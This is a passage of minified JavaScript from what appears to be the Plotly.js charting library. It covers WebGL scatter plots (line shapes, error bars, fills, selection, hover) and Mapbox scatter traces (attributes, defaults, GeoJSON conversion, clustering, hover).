q&&!G?F=N(E*1.1,ne)+m:F=N(E,ne),O=P(F,{w,h:w,viewBox:[-E,-E,E,E],stroke:J?p:-p}),A[_]=O,O||null}function C(k,B,_){var F=_.length,O=F/2,z,N;if(r.hasLines(B)&&O)if(B.line.shape==="hv"){for(z=[],N=0;N<O-1;N++)isNaN(_[N*2])||isNaN(_[N*2+1])?z.push(NaN,NaN,NaN,NaN):(z.push(_[N*2],_[N*2+1]),!isNaN(_[N*2+2])&&!isNaN(_[N*2+3])?z.push(_[N*2+2],_[N*2+1]):z.push(NaN,NaN));z.push(_[F-2],_[F-1])}else if(B.line.shape==="hvh"){for(z=[],N=0;N<O-1;N++)if(isNaN(_[N*2])||isNaN(_[N*2+1])||isNaN(_[N*2+2])||isNaN(_[N*2+3]))!isNaN(_[N*2])&&!isNaN(_[N*2+1])?z.push(_[N*2],_[N*2+1]):z.push(NaN,NaN),z.push(NaN,NaN);else{var G=(_[N*2]+_[N*2+2])/2;z.push(_[N*2],_[N*2+1],G,_[N*2+1],G,_[N*2+3])}z.push(_[F-2],_[F-1])}else if(B.line.shape==="vhv"){for(z=[],N=0;N<O-1;N++)if(isNaN(_[N*2])||isNaN(_[N*2+1])||isNaN(_[N*2+2])||isNaN(_[N*2+3]))!isNaN(_[N*2])&&!isNaN(_[N*2+1])?z.push(_[N*2],_[N*2+1]):z.push(NaN,NaN),z.push(NaN,NaN);else{var J=(_[N*2+1]+_[N*2+3])/2;z.push(_[N*2],_[N*2+1],_[N*2],J,_[N*2+2],J)}z.push(_[F-2],_[F-1])}else if(B.line.shape==="vh"){for(z=[],N=0;N<O-1;N++)isNaN(_[N*2])||isNaN(_[N*2+1])?z.push(NaN,NaN,NaN,NaN):(z.push(_[N*2],_[N*2+1]),!isNaN(_[N*2+2])&&!isNaN(_[N*2+3])?z.push(_[N*2],_[N*2+3]):z.push(NaN,NaN));z.push(_[F-2],_[F-1])}else z=_;var q=!1;for(N=0;N<z.length;N++)if(isNaN(z[N])){q=!0;break}var ne=q||z.length>l.TOO_MANY_POINTS||r.hasMarkers(B)?"rect":"round";if(q&&B.connectgaps){var fe=z[0],X=z[1];for(N=0;N<z.length;N+=2)isNaN(z[N])||isNaN(z[N+1])?(z[N]=fe,z[N+1]=X):(fe=z[N],X=z[N+1])}return{join:ne,positions:z}}function x(k,B,_,F,O){var z=L.getComponentMethod("errorbars","makeComputeError"),N=g.getFromId(k,B.xaxis,"x"),G=g.getFromId(k,B.yaxis,"y"),J=_.length/2,q={};function ne(fe,X){var W=X._id.charAt(0),V=B["error_"+W];if(V&&V.visible&&(X.type==="linear"||X.type==="log")){for(var Y=z(V),Q={x:0,y:1}[W],ie={x:[0,1,2,3],y:[2,3,0,1]}[W],j=new Float64Array(4*J),K=1/0,oe=-1/0,re=0,le=0;re<J;re++,le+=4){var pe=fe[re];if(M(pe)){var we=_[re*2+Q],xe=Y(pe,re),ke=xe[0],_e=xe[1];if(M(ke)&&M(_e)){var be=pe-ke,ge=pe+_e;j[le+ie[0]]=we-X.c2l(be),j[le+ie[1]]=X.c2l(ge)-we,j[le+ie[2]]=0,j[le+ie[3]]=0,K=Math.min(K,pe-ke),oe=Math.max(oe,pe+_e)}}}q[W]={positions:_,errors:j,_bnds:[K,oe]}}}return ne(F,N),ne(O,G),q}function I(k,B,_,F){var O=B._length,z={},N;if(r.hasMarkers(B)){var G=_.font,J=_.align,q=_.baseline;for(z.offset=new Array(O),N=0;N<O;N++){var ne=F.sizes?F.sizes[N]:F.size,fe=Array.isArray(G)?G[N].size:G.size,X=Array.isArray(J)?J.length>1?J[N]:J[0]:J,W=Array.isArray(q)?q.length>1?q[N]:q[0]:q,V=s[X],Y=s[W],Q=ne?ne/.8+1:0,ie=-Y*Q-Y*.5;z.offset[N]=[V*Q/fe,ie/fe]}}return z}te.exports={style:c,markerStyle:h,markerSelection:i,linePositions:C,errorBarPositions:x,textPosition:I}},47148:function(te,Z,e){var M=e(71828),P=e(73972),o=e(68645),L=e(42341),S=e(47581),d=e(34098),g=e(67513),t=e(73927),r=e(49508),f=e(11058),a=e(28908),l=e(82410);te.exports=function(s,y,c,b){function h(m,n){return M.coerce(s,y,L,m,n)}var i=s.marker?o.isOpenSymbol(s.marker.symbol):!1,v=d.isBubble(s),T=g(s,y,b,h);if(!T){y.visible=!1;return}t(s,y,b,h),h("xhoverformat"),h("yhoverformat");var w=T<S.PTS_LINESONLY?"lines+markers":"lines";h("text"),h("hovertext"),h("hovertemplate"),h("mode",w),d.hasLines(y)&&(h("connectgaps"),f(s,y,c,b,h),h("line.shape")),d.hasMarkers(y)&&(r(s,y,c,b,h,{noAngleRef:!0,noStandOff:!0}),h("marker.line.width",i||v?1:0)),d.hasText(y)&&(h("texttemplate"),l(s,y,b,h));var E=(y.line||{}).color,p=(y.marker||{}).color;h("fill"),y.fill!=="none"&&a(s,y,c,h);var A=P.getComponentMethod("errorbars","supplyDefaults");A(s,y,E||p||c,{axis:"y"}),A(s,y,E||p||c,{axis:"x",inherit:"y"}),M.coerceSelectionMarkerOpacity(y,h)}},5345:function(te,Z,e){var M=e(71828),P=e(7901),o=e(37822).DESELECTDIM;function L(S){var d=S[0],g=d.trace,t=d.t,r=t._scene,f=t.index,a=r.selectBatch[f],l=r.unselectBatch[f],u=r.textOptions[f],s=r.textSelectedOptions[f]||{},y=r.textUnselectedOptions[f]||{},c=M.extendFlat({},u),b,h;if(a.length||l.length){var i=s.color,v=y.color,T=u.color,w=Array.isArray(T);for(c.color=new Array(g._length),b=0;b<a.length;b++)h=a[b],c.color[h]=i||(w?T[h]:T);for(b=0;b<l.length;b++){h=l[b];var E=w?T[h]:T;c.color[h]=v||(i?E:P.addOpacity(E,o))}}r.glText[f].update(c)}te.exports={styleTextSelection:L}},68101:function(te,Z,e){var M=e(8225);te.exports=function(o,L,S){var d=o.i;return"x"in o||(o.x=L._x[d]),"y"in o||(o.y=L._y[d]),M(o,L,S)}},68645:function(te,Z,e){var M=e(78232);Z.isOpenSymbol=function(P){return typeof P=="string"?M.OPEN_RE.test(P):P%200>100},Z.isDotSymbol=function(P){return typeof P=="string"?M.DOT_RE.test(P):P>200}},20794:function(te,Z,e){var M=e(73972),P=e(71828),o=e(34603);function L(d,g,t,r){var f=d.cd,a=f[0].t,l=f[0].trace,u=d.xa,s=d.ya,y=a.x,c=a.y,b=u.c2p(g),h=s.c2p(t),i=d.distance,v;if(a.tree){var T=u.p2c(b-i),w=u.p2c(b+i),E=s.p2c(h-i),p=s.p2c(h+i);r==="x"?v=a.tree.range(Math.min(T,w),Math.min(s._rl[0],s._rl[1]),Math.max(T,w),Math.max(s._rl[0],s._rl[1])):v=a.tree.range(Math.min(T,w),Math.min(E,p),Math.max(T,w),Math.max(E,p))}else v=a.ids;var A,m,n,C,x,I,k,B,_,F=i;if(r==="x"){var O=!!l.xperiodalignment,z=!!l.yperiodalignment;for(x=0;x<v.length;x++){if(A=v[x],n=y[A],I=Math.abs(u.c2p(n)-b),O){var N=u.c2p(l._xStarts[A]),G=u.c2p(l._xEnds[A]);I=b>=Math.min(N,G)&&b<=Math.max(N,G)?0:1/0}if(I<F){if(F=I,C=c[A],k=s.c2p(C)-h,z){var J=s.c2p(l._yStarts[A]),q=s.c2p(l._yEnds[A]);k=h>=Math.min(J,q)&&h<=Math.max(J,q)?0:1/0}_=Math.sqrt(I*I+k*k),m=v[x]}}}else for(x=v.length-1;x>-1;x--)A=v[x],n=y[A],C=c[A],I=u.c2p(n)-b,k=s.c2p(C)-h,B=Math.sqrt(I*I+k*k),B<F&&(F=_=B,m=A);return d.index=m,d.distance=F,d.dxy=_,m===void 0?[d]:[S(d,y,c,l)]}function S(d,g,t,r){var f=d.xa,a=d.ya,l=d.distance,u=d.dxy,s=d.index,y={pointNumber:s,x:g[s],y:t[s]};y.tx=Array.isArray(r.text)?r.text[s]:r.text,y.htx=Array.isArray(r.hovertext)?r.hovertext[s]:r.hovertext,y.data=Array.isArray(r.customdata)?r.customdata[s]:r.customdata,y.tp=Array.isArray(r.textposition)?r.textposition[s]:r.textposition;var c=r.textfont;c&&(y.ts=P.isArrayOrTypedArray(c.size)?c.size[s]:c.size,y.tc=Array.isArray(c.color)?c.color[s]:c.color,y.tf=Array.isArray(c.family)?c.family[s]:c.family);var b=r.marker;b&&(y.ms=P.isArrayOrTypedArray(b.size)?b.size[s]:b.size,y.mo=P.isArrayOrTypedArray(b.opacity)?b.opacity[s]:b.opacity,y.mx=P.isArrayOrTypedArray(b.symbol)?b.symbol[s]:b.symbol,y.ma=P.isArrayOrTypedArray(b.angle)?b.angle[s]:b.angle,y.mc=P.isArrayOrTypedArray(b.color)?b.color[s]:b.color);var h=b&&b.line;h&&(y.mlc=Array.isArray(h.color)?h.color[s]:h.color,y.mlw=P.isArrayOrTypedArray(h.width)?h.width[s]:h.width);var i=b&&b.gradient;i&&i.type!=="none"&&(y.mgt=Array.isArray(i.type)?i.type[s]:i.type,y.mgc=Array.isArray(i.color)?i.color[s]:i.color);var v=f.c2p(y.x,!0),T=a.c2p(y.y,!0),w=y.mrc||1,E=r.hoverlabel;E&&(y.hbg=Array.isArray(E.bgcolor)?E.bgcolor[s]:E.bgcolor,y.hbc=Array.isArray(E.bordercolor)?E.bordercolor[s]:E.bordercolor,y.hts=P.isArrayOrTypedArray(E.font.size)?E.font.size[s]:E.font.size,y.htc=Array.isArray(E.font.color)?E.font.color[s]:E.font.color,y.htf=Array.isArray(E.font.family)?E.font.family[s]:E.font.family,y.hnl=P.isArrayOrTypedArray(E.namelength)?E.namelength[s]:E.namelength);var p=r.hoverinfo;p&&(y.hi=Array.isArray(p)?p[s]:p);var A=r.hovertemplate;A&&(y.ht=Array.isArray(A)?A[s]:A);var m={};m[d.index]=y;var n=r._origX,C=r._origY,x=P.extendFlat({},d,{color:o(r,y),x0:v-w,x1:v+w,xLabelVal:n?n[s]:y.x,y0:T-w,y1:T+w,yLabelVal:C?C[s]:y.y,cd:m,distance:l,spikeDistance:u,hovertemplate:y.ht});return y.htx?x.text=y.htx:y.tx?x.text=y.tx:r.text&&(x.text=r.text),P.fillText(y,r,x),M.getComponentMethod("errorbars","hoverInfo")(y,r,x),x}te.exports={hoverPoints:L,calcHover:S}},68868:function(te,Z,e){var M=e(72156);M.plot=e(26787),te.exports=M},26787:function(te,Z,e){var M=e(11870),P=e(46075),o=e(3593),L=e(42505),S=e(71828),d=e(64505).selectMode,g=e(79749),t=e(34098),r=e(68687),f=e(5345).styleTextSelection,a={};function l(s,y,c,b){var h=s._size,i=s.width*b,v=s.height*b,T=h.l*b,w=h.b*b,E=h.r*b,p=h.t*b,A=h.w*b,m=h.h*b;return[T+y.domain[0]*A,w+c.domain[0]*m,i-E-(1-y.domain[1])*A,v-p-(1-c.domain[1])*m]}var u=te.exports=function(y,c,b){if(b.length){var h=y._fullLayout,i=c._scene,v=c.xaxis,T=c.yaxis,w,E;if(i){var p=g(y,["ANGLE_instanced_arrays","OES_element_index_uint"],a);if(!p){i.init();return}var A=i.count,m=h._glcanvas.data()[0].regl;if(r(y,c,b),i.dirty){if(i.error2d===!0&&(i.error2d=o(m)),i.line2d===!0&&(i.line2d=P(m)),i.scatter2d===!0&&(i.scatter2d=M(m)),i.fill2d===!0&&(i.fill2d=P(m)),i.glText===!0)for(i.glText=new Array(A),w=0;w<A;w++)i.glText[w]=new L(m);if(i.glText){if(A>i.glText.length){var n=A-i.glText.length;for(w=0;w<n;w++)i.glText.push(new L(m))}else if(A<i.glText.length){var C=i.glText.length-A,x=i.glText.splice(A,C);x.forEach(function(j){j.destroy()})}for(w=0;w<A;w++)i.glText[w].update(i.textOptions[w])}if(i.line2d&&(i.line2d.update(i.lineOptions),i.lineOptions=i.lineOptions.map(function(j){if(j&&j.positions){for(var K=j.positions,oe=0;oe<K.length&&(isNaN(K[oe])||isNaN(K[oe+1]));)oe+=2;for(var re=K.length-2;re>oe&&(isNaN(K[re])||isNaN(K[re+1]));)re-=2;j.positions=K.slice(oe,re+2)}return j}),i.line2d.update(i.lineOptions)),i.error2d){var I=(i.errorXOptions||[]).concat(i.errorYOptions||[]);i.error2d.update(I)}i.scatter2d&&i.scatter2d.update(i.markerOptions),i.fillOrder=S.repeat(null,A),i.fill2d&&(i.fillOptions=i.fillOptions.map(function(j,K){var oe=b[K];if(!(!j||!oe||!oe[0]||!oe[0].trace)){var re=oe[0],le=re.trace,pe=re.t,we=i.lineOptions[K],xe,ke,_e=[];le._ownfill&&_e.push(K),le._nexttrace&&_e.push(K+1),_e.length&&(i.fillOrder[K]=_e);var be=[],ge=we&&we.positions||pe.positions,Te,Fe;if(le.fill==="tozeroy"){for(Te=0;Te<ge.length&&isNaN(ge[Te+1]);)Te+=2;for(Fe=ge.length-2;Fe>Te&&isNaN(ge[Fe+1]);)Fe-=2;ge[Te+1]!==0&&(be=[ge[Te],0]),be=be.concat(ge.slice(Te,Fe+2)),ge[Fe+1]!==0&&(be=be.concat([ge[Fe],0]))}else if(le.fill==="tozerox"){for(Te=0;Te<ge.length&&isNaN(ge[Te]);)Te+=2;for(Fe=ge.length-2;Fe>Te&&isNaN(ge[Fe]);)Fe-=2;ge[Te]!==0&&(be=[0,ge[Te+1]]),be=be.concat(ge.slice(Te,Fe+2)),ge[Fe]!==0&&(be=be.concat([0,ge[Fe+1]]))}else if(le.fill==="toself"||le.fill==="tonext"){for(be=[],xe=0,j.splitNull=!0,ke=0;ke<ge.length;ke+=2)(isNaN(ge[ke])||isNaN(ge[ke+1]))&&(be=be.concat(ge.slice(xe,ke)),be.push(ge[xe],ge[xe+1]),be.push(null,null),xe=ke+2);be=be.concat(ge.slice(xe)),xe&&be.push(ge[xe],ge[xe+1])}else{var Oe=le._nexttrace;if(Oe){var Ce=i.lineOptions[K+1];if(Ce){var Be=Ce.positions;if(le.fill==="tonexty"){for(be=ge.slice(),K=Math.floor(Be.length/2);K--;){var $e=Be[K*2],Xe=Be[K*2+1];isNaN($e)||isNaN(Xe)||be.push($e,Xe)}j.fill=Oe.fillcolor}}}}if(le._prevtrace&&le._prevtrace.fill==="tonext"){var Ze=i.lineOptions[K-1].positions,Ke=be.length/2;xe=Ke;var st=[xe];for(ke=0;ke<Ze.length;ke+=2)(isNaN(Ze[ke])||isNaN(Ze[ke+1]))&&(st.push(ke/2+Ke+1),xe=ke+2);be=be.concat(Ze),j.hole=st}return j.fillmode=le.fill,j.opacity=le.opacity,j.positions=be,j}}),i.fill2d.update(i.fillOptions))}var k=h.dragmode,B=d(k),_=h.clickmode.indexOf("select")>-1;for(w=0;w<A;w++){var F=b[w][0],O=F.trace,z=F.t,N=z.index,G=O._length,J=z.x,q=z.y;if(O.selectedpoints||B||_){if(B||(B=!0),O.selectedpoints){var ne=i.selectBatch[N]=S.selIndices2selPoints(O),fe={};for(E=0;E<ne.length;E++)fe[ne[E]]=1;var X=[];for(E=0;E<G;E++)fe[E]||X.push(E);i.unselectBatch[N]=X}var W=z.xpx=new Array(G),V=z.ypx=new Array(G);for(E=0;E<G;E++)W[E]=v.c2p(J[E]),V[E]=T.c2p(q[E])}else z.xpx=z.ypx=null}if(B){if(i.select2d||(i.select2d=M(h._glcanvas.data()[1].regl)),i.scatter2d){var Y=new Array(A);for(w=0;w<A;w++)Y[w]=i.selectBatch[w].length||i.unselectBatch[w].length?i.markerUnselectedOptions[w]:{};i.scatter2d.update(Y)}i.select2d&&(i.select2d.update(i.markerOptions),i.select2d.update(i.markerSelectedOptions)),i.glText&&b.forEach(function(j){var K=((j||[])[0]||{}).trace||{};t.hasText(K)&&f(j)})}else i.scatter2d&&i.scatter2d.update(i.markerOptions);var Q={viewport:l(h,v,T,y._context.plotGlPixelRatio),range:[(v._rl||v.range)[0],(T._rl||T.range)[0],(v._rl||v.range)[1],(T._rl||T.range)[1]]},ie=S.repeat(Q,i.count);i.fill2d&&i.fill2d.update(ie),i.line2d&&i.line2d.update(ie),i.error2d&&i.error2d.update(ie.concat(ie)),i.scatter2d&&i.scatter2d.update(ie),i.select2d&&i.select2d.update(ie),i.glText&&i.glText.forEach(function(j){j.update(Q)})}}};u.reglPrecompiled=a},38967:function(te,Z,e){var M=e(71828);te.exports=function(o,L){var S=L._scene,d={count:0,dirty:!0,lineOptions:[],fillOptions:[],markerOptions:[],markerSelectedOptions:[],markerUnselectedOptions:[],errorXOptions:[],errorYOptions:[],textOptions:[],textSelectedOptions:[],textUnselectedOptions:[],selectBatch:[],unselectBatch:[]},g={fill2d:!1,scatter2d:!1,error2d:!1,line2d:!1,glText:!1,select2d:!1};return L._scene||(S=L._scene={},S.init=function(){M.extendFlat(S,g,d)},S.init(),S.update=function(r){var f=M.repeat(r,S.count);if(S.fill2d&&S.fill2d.update(f),S.scatter2d&&S.scatter2d.update(f),S.line2d&&S.line2d.update(f),S.error2d&&S.error2d.update(f.concat(f)),S.select2d&&S.select2d.update(f),S.glText)for(var a=0;a<S.count;a++)S.glText[a].update(r)},S.draw=function(){for(var r=S.count,f=S.fill2d,a=S.error2d,l=S.line2d,u=S.scatter2d,s=S.glText,y=S.select2d,c=S.selectBatch,b=S.unselectBatch,h=0;h<r;h++){if(f&&S.fillOrder[h]&&f.draw(S.fillOrder[h]),l&&S.lineOptions[h]&&l.draw(h),a&&(S.errorXOptions[h]&&a.draw(h),S.errorYOptions[h]&&a.draw(h+r)),u&&S.markerOptions[h])if(b[h].length){var i=M.repeat([],S.count);i[h]=b[h],u.draw(i)}else c[h].length||u.draw(h);s[h]&&S.textOptions[h]&&s[h].render()}y&&y.draw(c),S.dirty=!1},S.destroy=function(){S.fill2d&&S.fill2d.destroy&&S.fill2d.destroy(),S.scatter2d&&S.scatter2d.destroy&&S.scatter2d.destroy(),S.error2d&&S.error2d.destroy&&S.error2d.destroy(),S.line2d&&S.line2d.destroy&&S.line2d.destroy(),S.select2d&&S.select2d.destroy&&S.select2d.destroy(),S.glText&&S.glText.forEach(function(r){r.destroy&&r.destroy()}),S.lineOptions=null,S.fillOptions=null,S.markerOptions=null,S.markerSelectedOptions=null,S.markerUnselectedOptions=null,S.errorXOptions=null,S.errorYOptions=null,S.textOptions=null,S.textSelectedOptions=null,S.textUnselectedOptions=null,S.selectBatch=null,S.unselectBatch=null,L._scene=null}),S.dirty||M.extendFlat(S,d),S}},58147:function(te,Z,e){var M=e(34098),P=e(5345).styleTextSelection;te.exports=function(L,S){var d=L.cd,g=L.xaxis,t=L.yaxis,r=[],f=d[0].trace,a=d[0].t,l=f._length,u=a.x,s=a.y,y=a._scene,c=a.index;if(!y)return r;var b=M.hasText(f),h=M.hasMarkers(f),i=!h&&!b;if(f.visible!==!0||i)return r;var v=[],T=[];if(S!==!1&&!S.degenerate)for(var w=0;w<l;w++)S.contains([a.xpx[w],a.ypx[w]],!1,w,L)?(v.push(w),r.push({pointNumber:w,x:g.c2d(u[w]),y:t.c2d(s[w])})):T.push(w);if(h){var E=y.scatter2d;if(!v.length&&!T.length){var p=new Array(y.count);p[c]=y.markerOptions[c],E.update.apply(E,p)}else if(!y.selectBatch[c].length&&!y.unselectBatch[c].length){var A=new Array(y.count);A[c]=y.markerUnselectedOptions[c],E.update.apply(E,A)}}return y.selectBatch[c]=v,y.unselectBatch[c]=T,b&&P(d),r}},99181:function(te,Z,e){var M=e(5386).fF,P=e(5386).si,o=e(19316),L=e(82196),S=e(23585),d=e(9012),g=e(50693),t=e(1426).extendFlat,r=e(30962).overrideAll,f=e(23585),a=o.line,l=o.marker;te.exports=r({lon:o.lon,lat:o.lat,cluster:{enabled:{valType:"boolean"},maxzoom:t({},f.layers.maxzoom,{}),step:{valType:"number",arrayOk:!0,dflt:-1,min:-1},size:{valType:"number",arrayOk:!0,dflt:20,min:0},color:{valType:"color",arrayOk:!0},opacity:t({},l.opacity,{dflt:1})},mode:t({},L.mode,{dflt:"markers"}),text:t({},L.text,{}),texttemplate:P({editType:"plot"},{keys:["lat","lon","text"]}),hovertext:t({},L.hovertext,{}),line:{color:a.color,width:a.width},connectgaps:L.connectgaps,marker:t({symbol:{valType:"string",dflt:"circle",arrayOk:!0},angle:{valType:"number",dflt:"auto",arrayOk:!0},allowoverlap:{valType:"boolean",dflt:!1},opacity:l.opacity,size:l.size,sizeref:l.sizeref,sizemin:l.sizemin,sizemode:l.sizemode},g("marker")),fill:o.fill,fillcolor:L.fillcolor,textfont:S.layers.symbol.textfont,textposition:S.layers.symbol.textposition,below:{valType:"string"},selected:{marker:L.selected.marker},unselected:{marker:L.unselected.marker},hoverinfo:t({},d.hoverinfo,{flags:["lon","lat","text","name"]}),hovertemplate:M()},"calc","nested")},15790:function(te,Z,e){var M=e(92770),P=e(71828),o=e(50606).BADNUM,L=e(18214),S=e(21081),d=e(91424),g=e(39984),t=e(34098),r=e(13056),f=e(23469).appendArrayPointValue,a=e(63893).NEWLINES,l=e(63893).BR_TAG_ALL;te.exports=function(T,w){var E=w[0].trace,p=E.visible===!0&&E._length!==0,A=E.fill!=="none",m=t.hasLines(E),n=t.hasMarkers(E),C=t.hasText(E),x=n&&E.marker.symbol==="circle",I=n&&E.marker.symbol!=="circle",k=E.cluster&&E.cluster.enabled,B=u("fill"),_=u("line"),F=u("circle"),O=u("symbol"),z={fill:B,line:_,circle:F,symbol:O};if(!p)return z;var N;if((A||m)&&(N=L.calcTraceToLineCoords(w)),A&&(B.geojson=L.makePolygon(N),B.layout.visibility="visible",P.extendFlat(B.paint,{"fill-color":E.fillcolor})),m&&(_.geojson=L.makeLine(N),_.layout.visibility="visible",P.extendFlat(_.paint,{"line-width":E.line.width,"line-color":E.line.color,"line-opacity":E.opacity})),x){var G=s(w);F.geojson=G.geojson,F.layout.visibility="visible",k&&(F.filter=["!",["has","point_count"]],z.cluster={type:"circle",filter:["has","point_count"],layout:{visibility:"visible"},paint:{"circle-color":i(E.cluster.color,E.cluster.step),"circle-radius":i(E.cluster.size,E.cluster.step),"circle-opacity":i(E.cluster.opacity,E.cluster.step)}},z.clusterCount={type:"symbol",filter:["has","point_count"],paint:{},layout:{"text-field":"{point_count_abbreviated}","text-font":["Open Sans Regular","Arial Unicode MS Regular"],"text-size":12}}),P.extendFlat(F.paint,{"circle-color":G.mcc,"circle-radius":G.mrc,"circle-opacity":G.mo})}if(x&&k&&(F.filter=["!",["has","point_count"]]),(I||C)&&(O.geojson=y(w,T),P.extendFlat(O.layout,{visibility:"visible","icon-image":"{symbol}-15","text-field":"{text}"}),I&&(P.extendFlat(O.layout,{"icon-size":E.marker.size/10}),"angle"in E.marker&&E.marker.angle!=="auto"&&P.extendFlat(O.layout,{"icon-rotate":{type:"identity",property:"angle"},"icon-rotation-alignment":"map"}),O.layout["icon-allow-overlap"]=E.marker.allowoverlap,P.extendFlat(O.paint,{"icon-opacity":E.opacity*E.marker.opacity,"icon-color":E.marker.color})),C)){var J=(E.marker||{}).size,q=r(E.textposition,J);P.extendFlat(O.layout,{"text-size":E.textfont.size,"text-anchor":q.anchor,"text-offset":q.offset,"text-font":E.textfont.family.split(", ")}),P.extendFlat(O.paint,{"text-color":E.textfont.color,"text-opacity":E.opacity})}return z};function u(v){return{type:v,geojson:L.makeBlank(),layout:{visibility:"none"},filter:null,paint:{}}}function s(v){var T=v[0].trace,w=T.marker,E=T.selectedpoints,p=P.isArrayOrTypedArray(w.color),A=P.isArrayOrTypedArray(w.size),m=P.isArrayOrTypedArray(w.opacity),n;function C(J){return T.opacity*J}function x(J){return J/2}var I;p&&(S.hasColorscale(T,"marker")?I=S.makeColorScaleFuncFromTrace(w):I=P.identity);var k;A&&(k=g(T));var B;m&&(B=function(J){var q=M(J)?+P.constrain(J,0,1):0;return C(q)});var _=[];for(n=0;n<v.length;n++){var F=v[n],O=F.lonlat;if(!h(O)){var z={};I&&(z.mcc=F.mcc=I(F.mc)),k&&(z.mrc=F.mrc=k(F.ms)),B&&(z.mo=B(F.mo)),E&&(z.selected=F.selected||0),_.push({type:"Feature",id:n+1,geometry:{type:"Point",coordinates:O},properties:z})}}var N;if(E)for(N=d.makeSelectedPointStyleFns(T),n=0;n<_.length;n++){var G=_[n].properties;N.selectedOpacityFn&&(G.mo=C(N.selectedOpacityFn(G))),N.selectedColorFn&&(G.mcc=N.selectedColorFn(G)),N.selectedSizeFn&&(G.mrc=N.selectedSizeFn(G))}return{geojson:{type:"FeatureCollection",features:_},mcc:p||N&&N.selectedColorFn?{type:"identity",property:"mcc"}:w.color,mrc:A||N&&N.selectedSizeFn?{type:"identity",property:"mrc"}:x(w.size),mo:m||N&&N.selectedOpacityFn?{type:"identity",property:"mo"}:C(w.opacity)}}function y(v,T){for(var w=T._fullLayout,E=v[0].trace,p=E.marker||{},A=p.symbol,m=p.angle,n=A!=="circle"?c(A):b,C=m!=="auto"?c(m,!0):b,x=t.hasText(E)?c(E.text):b,I=[],k=0;k<v.length;k++){var B=v[k];if(!h(B.lonlat)){var _=E.texttemplate,F;if(_){var O=Array.isArray(_)?_[k]||"":_,z=E._module.formatLabels(B,E,w),N={};f(N,E,B.i);var G=E._meta||{};F=P.texttemplateString(O,z,w._d3locale,N,B,G)}else F=x(k);F&&(F=F.replace(a,"").replace(l,`
`)),I.push({type:"Feature",geometry:{type:"Point",coordinates:B.lonlat},properties:{symbol:n(k),angle:C(k),text:F}})}}return{type:"FeatureCollection",features:I}}function c(v,T){return P.isArrayOrTypedArray(v)?T?function(w){return M(v[w])?+v[w]:0}:function(w){return v[w]}:v?function(){return v}:b}function b(){return""}function h(v){return v[0]===o}function i(v,T){var w;if(P.isArrayOrTypedArray(v)&&P.isArrayOrTypedArray(T)){w=["step",["get","point_count"],v[0]];for(var E=1;E<v.length;E++)w.push(T[E-1],v[E])}else w=v;return w}},76645:function(te,Z,e){var M=e(71828),P=e(34098),o=e(49508),L=e(11058),S=e(82410),d=e(28908),g=e(99181),t=["Metropolis Black Italic","Metropolis Black","Metropolis Bold Italic","Metropolis Bold","Metropolis Extra Bold Italic","Metropolis Extra Bold","Metropolis Extra Light Italic","Metropolis Extra Light","Metropolis Light Italic","Metropolis Light","Metropolis Medium Italic","Metropolis Medium","Metropolis Regular Italic","Metropolis Regular","Metropolis Semi Bold Italic","Metropolis Semi Bold","Metropolis Thin Italic","Metropolis Thin","Open Sans Bold Italic","Open Sans Bold","Open Sans Extra Bold Italic","Open Sans Extra Bold","Open Sans Italic","Open Sans Light Italic","Open Sans Light","Open Sans Regular","Open Sans Semibold Italic","Open Sans Semibold","Klokantech Noto Sans Bold","Klokantech Noto Sans CJK Bold","Klokantech Noto Sans CJK Regular","Klokantech Noto Sans Italic","Klokantech Noto Sans Regular"];te.exports=function(a,l,u,s){function y(A,m){return M.coerce(a,l,g,A,m)}function c(A,m){return M.coerce2(a,l,g,A,m)}var b=r(a,l,y);if(!b){l.visible=!1;return}if(y("text"),y("texttemplate"),y("hovertext"),y("hovertemplate"),y("mode"),y("below"),P.hasLines(l)&&(L(a,l,u,s,y,{noDash:!0}),y("connectgaps")),P.hasMarkers(l)){o(a,l,u,s,y,{noLine:!0,noAngle:!0}),y("marker.allowoverlap"),y("marker.angle");var h=l.marker;h.symbol!=="circle"&&(M.isArrayOrTypedArray(h.size)&&(h.size=h.size[0]),M.isArrayOrTypedArray(h.color)&&(h.color=h.color[0]))}var i=c("cluster.maxzoom"),v=c("cluster.step"),T=c("cluster.color",l.marker&&l.marker.color||u),w=c("cluster.size"),E=c("cluster.opacity"),p=i!==!1||v!==!1||T!==!1||w!==!1||E!==!1;y("cluster.enabled",p),P.hasText(l)&&S(a,l,s,y,{noSelect:!0,font:{family:t.indexOf(s.font.family)!==-1?s.font.family:"Open Sans Regular",size:s.font.size,color:s.font.color}}),y("fill"),l.fill!=="none"&&d(a,l,u,y),M.coerceSelectionMarkerOpacity(l,y)};function r(f,a,l){var u=l("lon")||[],s=l("lat")||[],y=Math.min(u.length,s.length);return a._length=y,y}},53353:function(te){te.exports=function(e,M){return e.lon=M.lon,e.lat=M.lat,e}},15636:function(te,Z,e){var M=e(89298);te.exports=function(o,L,S){var d={},g=S[L.subplot]._subplot,t=g.mockAxis,r=o.lonlat;return d.lonLabel=M.tickText(t,t.c2l(r[0]),!0).text,d.latLabel=M.tickText(t,t.c2l(r[1]),!0).text,d}},28178:function(te,Z,e){var M=e(30211),P=e(71828),o=e(34603),L=P.fillText,S=e(50606).BADNUM,d=e(77734).traceLayerPrefix;function g(r,f,a){var l=r.cd,u=l[0].trace,s=r.xa,y=r.ya,c=r.subplot,b=[],h=d+u.uid+"-circle",i=u.cluster&&u.cluster.enabled;if(i){var v=c.map.queryRenderedFeatures(null,{layers:[h]});b=v.map(function(_){return _.id})}var T=f>=0?Math.floor((f+180)/360):Math.ceil((f-180)/360),w=T*360,E=f-w;function p(_){var F=_.lonlat;if(F[0]===S||i&&b.indexOf(_.i+1)===-1)return 1/0;var O=P.modHalf(F[0],360),z=F[1],N=c.project([O,z]),G=N.x-s.c2p([E,z]),J=N.y-y.c2p([O,a]),q=Math.max(3,_.mrc||0);return Math.max(Math.sqrt(G*G+J*J)-q,1-3/q)}if(M.getClosest(l,p,r),r.index!==!1){var A=l[r.index],m=A.lonlat,n=[P.modHalf(m[0],360)+w,m[1]],C=s.c2p(n),x=y.c2p(n),I=A.mrc||1;r.x0=C-I,r.x1=C+I,r.y0=x-I,r.y1=x+I;var k={};k[u.subplot]={_subplot:c};var B=u._module.formatLabels(A,u,k);return r.lonLabel=B.lonLabel,r.latLabel=B.latLabel,r.color=o(u,A),r.extraText=t(u,A,l[0].t.labels),r.hovertemplate=u.hovertemplate,[r]}}function t(r,f,a){if(r.hovertemplate)return;var l=f.hi||r.hoverinfo,u=l.split("+"),s=u.indexOf("all")!==-1,y=u.indexOf("lon")!==-1,c=u.indexOf("lat")!==-1,b=f.lonlat,h=[];function 